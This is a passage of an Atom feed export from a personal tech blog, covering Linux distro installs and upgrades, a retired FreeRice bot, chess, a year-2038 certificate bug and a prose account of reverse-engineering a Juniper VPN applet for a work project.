<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7506564578992703357</id><updated>2012-03-17T19:31:26.432Z</updated><category term='crackit'/><category term='calendar'/><category term='thehivemind'/><category term='2008.1'/><category term='unxutils'/><category term='sha1sum'/><category term='jbb'/><category term='ping'/><category term='AccessFlags'/><category term='xml challenge'/><category term='applet'/><category term='open source'/><category term='service'/><category term='cryptobox'/><category term='New7Wonders'/><category term='backtrack'/><category term='homepage'/><category term='css'/><category term='copy'/><category term='steganabara'/><category term='md5sum'/><category term='spring'/><category term='xssed'/><category term='alsa'/><category term='xss'/><category term='mcafee'/><category term='all the strings'/><category term='solaris'/><category term='greasemonkey'/><category term='kvirc'/><category term='2008'/><category term='codeproject'/><category term='opera'/><category term='iis'/><category term='idlemonkeys'/><category term='jsf'/><category term='host'/><category term='gdm'/><category term='java'/><category term='security'/><category term='quangnitron'/><category term='ohloh'/><category term='2007'/><category term='concurrency'/><category term='kde4'/><category term='split'/><category term='interview'/><category term='wechall'/><category term='object oriented'/><category term='juniper'/><category term='xorg.conf'/><category term='table-less'/><category term='jackpot'/><category term='hackquest'/><category term='partition'/><category term='ubuntu'/><category term='cat'/><category term='chess'/><category term='prototype'/><category term='stegano'/><category term='siteadvisor'/><category term='technorati'/><category term='challenge'/><category term='message me'/><category term='bootloader'/><category term='dashfer'/><category term='bbq'/><category term='smashthestack'/><category term='iso'/><category term='reverse engineering'/><category term='theblacksheep'/><category term='pidgin'/><category term='hacking'/><category term='spam poison'/><category term='collision'/><category term='sql injection'/><category term='rpm'/><category term='DotA'/><category term='gnome'/><category term='2009.0'/><category term='forumwarz'/><category term='ibm'/><category term='2010.0'/><category term='metabase'/><category term='chamber door'/><category term='irc'/><category term='wargame'/><category term='tweak'/><category term='freerice'/><category term='update'/><category term='Friday the 13th'/><category term='2038'/><category term='tbs'/><category term='linux'/><category term='2009.1'/><category term='proxomitron'/><category term='cvs'/><category term='arts'/><category term='rating'/><category term='bot'/><category term='cloud computing'/><category term='10.04'/><category term='mandriva'/><category term='tutorial'/><category term='qtj'/><category term='website'/><category term='font'/><category term='kde'/><category term='HTTP Error 403.2'/><category term='TLFG'/><category term='tomahawk'/><category term='jquery'/><category term='wikipedia'/><category term='rpg'/><category term='caesum'/><category term='kernel'/><category term='swap'/><category term='urpmi'/><category term='virus'/><category term='microsoft'/><category term='vpn'/><category term='lucid lynx'/><category term='jad'/><category term='password'/><category term='zip'/><category term='rankk'/><category term='checksum'/><category term='problem'/><title type='text'>Everlasting Wanderer</title><subtitle type='html'>Setting out on a new journey to find the meaning of life...</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>94</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3206445773432545</id><published>2012-02-11T11:28:00.000Z</published><updated>2012-02-11T11:30:09.274Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='swap'/><category scheme='http://www.blogger.com/atom/ns#' term='solaris'/><category scheme='http://www.blogger.com/atom/ns#' term='backtrack'/><title type='text'>One blog to rule them all</title><content type='html'>So apparently I have been creating too many blogs while having no time to keep them updated and today I have decided to merge some of them together. As a result, you can see how my penguin taming business is going on here from now on.&lt;br /&gt;&lt;br /&gt;Recently, I have successfully managed to install BackTract 5 R1 to my hard disk without having to burn the installer to DVD or USB (somehow my Lenovo laptop couldn't boot from USB even though I enabled all the relevant BIOS settings). Since BT is based on Ubuntu, I followed &lt;a href="https://help.ubuntu.com/community/Installation/FromLinux"&gt;this guide&lt;/a&gt; with some necessary changes and boom! mission accomplished!&lt;br /&gt;&lt;br /&gt;Here's a screenshot:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-0dnr4EOTNMU/TzZPL7d9c7I/AAAAAAAAAFY/aGo4RAzYA0Q/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" src="http://3.bp.blogspot.com/-0dnr4EOTNMU/TzZPL7d9c7I/AAAAAAAAAFY/aGo4RAzYA0Q/s320/Screenshot.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I even planned to install Solaris 11 on my comp, but in the end couldn't because there was some conflict with Linux swap partition which required changes to the entire partition table.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3206445773432545?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3206445773432545/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3206445773432545' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3206445773432545'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3206445773432545'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2012/02/one-blog-to-rule-them-all.html' title='One blog to rule them all'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-0dnr4EOTNMU/TzZPL7d9c7I/AAAAAAAAAFY/aGo4RAzYA0Q/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-7653970840025589518</id><published>2011-09-26T14:39:00.004+01:00</published><updated>2011-09-26T15:06:08.741+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freerice'/><title type='text'>FreeRice updated</title><content type='html'>Do you still remember the &lt;a href="http://www.freewebs.com/quangntenemy/freerice/index.html"&gt;FreeRice bot I wrote years ago&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;I'm not sure if the bot is still working but recently I received an email from the &lt;a href="http://www.wfp.org/"&gt;United Nations World Food Programme&lt;/a&gt; saying that it "has been highly damaging to Freerice and has serious repercussions for the people we help". Below are the three reasons given:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;- You overload our servers and crash the site, so that real people cannot play and learn. This means less people want to play, and we raise less rice.&lt;br /&gt;- You damage our reputation and discourage sponsors from supporting Freerice, making it impossible for us to pay for the rice you raise. This means we cannot provide rice to those who need it most&lt;br /&gt;- At times, the bots raise more rice than we can pay for!&lt;/blockquote&gt;&lt;br /&gt;Apparently, &lt;a href="http://www.google.com/#q=freerice+bot"&gt;there have been many bots created since then&lt;/a&gt; and I wonder if my bot alone can damage the site that much but for now I have removed the bot from the downloads. If you are a bot author, maybe you should consider doing the same.&lt;br /&gt;&lt;br /&gt;Statistically, about 40% of the visitors to my site are for the bot. Well, that gotta change now!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-7653970840025589518?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/7653970840025589518/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=7653970840025589518' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7653970840025589518'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/7653970840025589518'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2011/09/freerice-updated.html' title='FreeRice updated'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-8529634729416539459</id><published>2010-12-04T12:44:00.003Z</published><updated>2010-12-04T12:57:45.405Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='thehivemind'/><category scheme='http://www.blogger.com/atom/ns#' term='chess'/><category scheme='http://www.blogger.com/atom/ns#' term='caesum'/><title type='text'>Chess</title><content type='html'>Just a quick update. I haven't been very active in challenge solving during the past few months. However, I just developed some interest in chess. I am doing pretty well on &lt;a href="http://www.chess.com"&gt;chess.com&lt;/a&gt; with a rating closing 1700.&lt;br /&gt;&lt;br /&gt;This is one of my favourite games: &lt;a href="http://www.chess.com/echess/game.html?id=42014101"&gt;http://www.chess.com/echess/game.html?id=42014101&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;You know what, I found some of the geeks there too. &lt;a href="http://www.chess.com/echess/profile/Caesum"&gt;Caesum the alien is playing more than 100 games at the same time&lt;/a&gt;, while &lt;a href="http://www.chess.com/echess/profile/TheHiveMind"&gt;TheHiveMind with his super chess bot has already reached a rating of 2200+&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.chess.com/echess/game.html?id=42095135"&gt;I'm having a duel with Caesum atm, and the game is a bit on my side&lt;/a&gt;. Wish me luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8529634729416539459?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8529634729416539459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8529634729416539459' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8529634729416539459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8529634729416539459'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/12/chess.html' title='Chess'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2320353545016320776</id><published>2010-07-28T14:20:00.000+01:00</published><updated>2012-02-11T10:34:36.954Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='gdm'/><category scheme='http://www.blogger.com/atom/ns#' term='tweak'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ubuntu Tweak</title><content type='html'>Finally got rid of the stupid pink login screen using &lt;a href="http://ubuntu-tweak.com/"&gt;Ubuntu Tweak&lt;/a&gt;. What a pain!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2320353545016320776?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2320353545016320776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2320353545016320776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2320353545016320776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2320353545016320776'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/07/ubuntu-tweak.html' title='Ubuntu Tweak'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2411147583693996132</id><published>2010-07-15T08:23:00.002+01:00</published><updated>2010-07-15T09:16:51.674+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='juniper'/><category scheme='http://www.blogger.com/atom/ns#' term='reverse engineering'/><category scheme='http://www.blogger.com/atom/ns#' term='jad'/><category scheme='http://www.blogger.com/atom/ns#' term='vpn'/><title type='text'>Hacker skills in action</title><content type='html'>Have you ever needed to use your 1337 hacker skills in real life as a non-security professional?&lt;br /&gt;&lt;br /&gt;I was once given the task of writing a Windows library to connect to a Juniper VPN system. All I was given was just the web interface of the system. A task that cannot be completed without reverse-engineering skills.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_OCNhupYc3g0/TD669_xthLI/AAAAAAAAAE4/Kbel9zV-sQA/s1600/juniper_login.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 165px;" src="http://1.bp.blogspot.com/_OCNhupYc3g0/TD669_xthLI/AAAAAAAAAE4/Kbel9zV-sQA/s320/juniper_login.png" alt="" id="BLOGGER_PHOTO_ID_5494034169693308082" border="0" /&gt;&lt;/a&gt;Some experiments with the system showed me that the VPN system wasn't too complicated. After the user authorizes himself via the login page, an ActiveX or Java applet will be launched, which will subsequently download and run a Windows application that is responsible for the VPN connection.&lt;br /&gt;&lt;br /&gt;Authenticating via the login page programmatically to retrieve the cookie for the session was a trivial task. For downloading and running the Windows VPN application, with my 1337 Java skills, I decided that reverse-engineering the Java applet was the way to go. After decompiling the applet with Jad, all I needed to do was modifying the code to make it run in a "simulated" applet environment, and everything went on smoothly.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/TD67DuSd-SI/AAAAAAAAAFA/buL-4fWIoMI/s1600/juniper_vs.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 312px;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/TD67DuSd-SI/AAAAAAAAAFA/buL-4fWIoMI/s400/juniper_vs.png" alt="" id="BLOGGER_PHOTO_ID_5494034268078078242" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2411147583693996132?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2411147583693996132/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2411147583693996132' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2411147583693996132'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2411147583693996132'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/07/hacker-skills-in-action.html' title='Hacker skills in action'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_OCNhupYc3g0/TD669_xthLI/AAAAAAAAAE4/Kbel9zV-sQA/s72-c/juniper_login.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1153096574057487423</id><published>2010-05-22T05:48:00.006+01:00</published><updated>2010-05-22T06:37:51.833+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='2038'/><category scheme='http://www.blogger.com/atom/ns#' term='problem'/><title type='text'>Year 2038 problem - not very far away</title><content type='html'>Maybe some of you have already heard about the &lt;a href="http://en.wikipedia.org/wiki/Year_2038_problem"&gt;year 2038 problem&lt;/a&gt;, caused by software and systems storing system time as a signed 32-bit integer. I thought it would be quite a while until I'd have to care about it, but it seems that isn't the case.&lt;br /&gt;&lt;br /&gt;A little while ago, my yahoo mailbox was hit by a lot of &lt;a href="http://groups.google.com/group/alt.spam/browse_thread/thread/d27cd4e077247723"&gt;spammers sending from the future date of 18th Jan 2038&lt;/a&gt;. Back then, I thought it was funny. Spammers always want their spam mails to appear on top by setting the date to the farthest in the future. But this is as far as they can go ;)&lt;br /&gt;&lt;br /&gt;However, recently, I have discovered the bug lying in an authentication server by a well-known security company I'm testing. It appears all certificates signed by the server cannot have an expiry date of later than 19th Jan 2038. If not discovered early, this could cost us a lot of maintenance fee when the time comes close.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/S_dnKwyLerI/AAAAAAAAAEo/UbLwDmCC8yE/s1600/2038.png"&gt;&lt;img style="margin: 0px auto 10px; text-align: center; vertical-align: top; cursor: pointer; width: 320px; height: 97px;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/S_dnKwyLerI/AAAAAAAAAEo/UbLwDmCC8yE/s320/2038.png" alt="" id="BLOGGER_PHOTO_ID_5473957306683849394" border="0" /&gt;&lt;/a&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/S_dnVZPUg2I/AAAAAAAAAEw/6qDIQWtuhvU/s1600/2038_2.png"&gt;&lt;img style="margin: 0px auto 10px; text-align: center; cursor: pointer; width: 275px; height: 320px;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/S_dnVZPUg2I/AAAAAAAAAEw/6qDIQWtuhvU/s320/2038_2.png" alt="" id="BLOGGER_PHOTO_ID_5473957489342186338" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1153096574057487423?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1153096574057487423/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1153096574057487423' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1153096574057487423'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1153096574057487423'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/05/year-2038-problem-not-very-far-away.html' title='Year 2038 problem - not very far away'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OCNhupYc3g0/S_dnKwyLerI/AAAAAAAAAEo/UbLwDmCC8yE/s72-c/2038.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4006207845531363061</id><published>2010-05-09T07:06:00.000+01:00</published><updated>2012-02-11T10:34:37.025Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='2010.0'/><title type='text'>Mandriva 2010</title><content type='html'>Although Mandriva 2010 was released a long time ago, I haven't had the time to upgrade until now.&lt;br /&gt;&lt;br /&gt;Just like the last time, I received the message that "the system could not be safely upgraded to Mandriva Linux 2009" (yes, it did say 2009, probably someone overlooked that trivial bit). Nevertheless, as a professional penguin tamer, I decided to take the risk and continued. This time the estimated upgrade time was 5 hours. But in the end it only took about 1 hour and a half.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_OCNhupYc3g0/S-ZScbsu6TI/AAAAAAAAAEg/qfPiPCy5ldc/s1600/snapshot1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_OCNhupYc3g0/S-ZScbsu6TI/AAAAAAAAAEg/qfPiPCy5ldc/s320/snapshot1.png" alt="" id="BLOGGER_PHOTO_ID_5469149445913241906" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Brilliantly, the new system booted smoothly without any problems. Time to see what this great new system has to offer ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4006207845531363061?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4006207845531363061/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4006207845531363061' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4006207845531363061'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4006207845531363061'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/05/mandriva-2010.html' title='Mandriva 2010'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_OCNhupYc3g0/S-ZScbsu6TI/AAAAAAAAAEg/qfPiPCy5ldc/s72-c/snapshot1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-985959862543241500</id><published>2010-05-05T17:03:00.000+01:00</published><updated>2012-02-11T10:34:37.070Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='lucid lynx'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><category scheme='http://www.blogger.com/atom/ns#' term='10.04'/><title type='text'>Ubuntu 10.04 LTS</title><content type='html'>Ubuntu 10.04 LTS was finally released last week, and I just managed to upgrade it today. Unlike Mandriva, to upgrade Ubuntu, I needed to use the alternate CD image instead of the normal one.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/S-GYLRlqtnI/AAAAAAAAAEY/jL70m93jCPc/s1600/Screenshot-2.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 308px; height: 320px;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/S-GYLRlqtnI/AAAAAAAAAEY/jL70m93jCPc/s320/Screenshot-2.png" alt="" id="BLOGGER_PHOTO_ID_5467818742071866994" border="0" /&gt;&lt;/a&gt;The upgrade took about an hour, which was actually quite long for such a newly installed system. However, on the bright side, it could be done while the system was running.&lt;br /&gt;&lt;br /&gt;The Ubuntu guys boasted about the 10 second startup time. And in fact, my new system booted really fast. I doubt if it's as fast as 10 seconds though :P&lt;br /&gt;&lt;br /&gt;There's a very annoying problem with the new Gnome button layout: the minimize, maximize, and close button are moved to the top left of the windows, whichever theme you use. A guide to fixing that problem is available here: &lt;a href="http://www.howtogeek.com/howto/13535/move-window-buttons-back-to-the-right-in-ubuntu-10.04/"&gt;http://www.howtogeek.com/howto/13535/move-window-buttons-back-to-the-right-in-ubuntu-10.04/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-985959862543241500?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/985959862543241500/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=985959862543241500' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/985959862543241500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/985959862543241500'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/05/ubuntu-1004-lts.html' title='Ubuntu 10.04 LTS'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/S-GYLRlqtnI/AAAAAAAAAEY/jL70m93jCPc/s72-c/Screenshot-2.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4573391757798732376</id><published>2010-03-15T15:36:00.000Z</published><updated>2012-02-11T10:34:37.105Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Ubuntu</title><content type='html'>So I got a new laptop, and of course I installed another Linux distro on it. Ubuntu seems to be a very popular one now, so I decided to give it a try.&lt;br /&gt;&lt;br /&gt;Gnome seems to have improved a lot since the last time I tried it on Fedora. After some modding it looks quite awesome now ;)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/S55VBDFK8FI/AAAAAAAAAEQ/547h57FSFuI/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 180px;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/S55VBDFK8FI/AAAAAAAAAEQ/547h57FSFuI/s320/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5448886075660103762" border="0" /&gt;&lt;/a&gt;Another thing I like about Ubuntu is the free 2GB &lt;a href="https://one.ubuntu.com/files"&gt;Ubuntu One&lt;/a&gt; space I can use to synchronize and share my data.&lt;br /&gt;&lt;br /&gt;Is cloud computing really the way to go?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4573391757798732376?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4573391757798732376/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4573391757798732376' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4573391757798732376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4573391757798732376'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2010/03/ubuntu.html' title='Ubuntu'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/S55VBDFK8FI/AAAAAAAAAEQ/547h57FSFuI/s72-c/Screenshot.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1794574273261987781</id><published>2009-09-19T08:09:00.000+01:00</published><updated>2012-02-11T10:34:37.169Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='vpn'/><title type='text'>Some updates</title><content type='html'>So I updated my kernel to 2.6.29.1, however the computer failed to boot. Probably there were some changes in the system structure. I guess I'll stick with 2.6.27 for a little 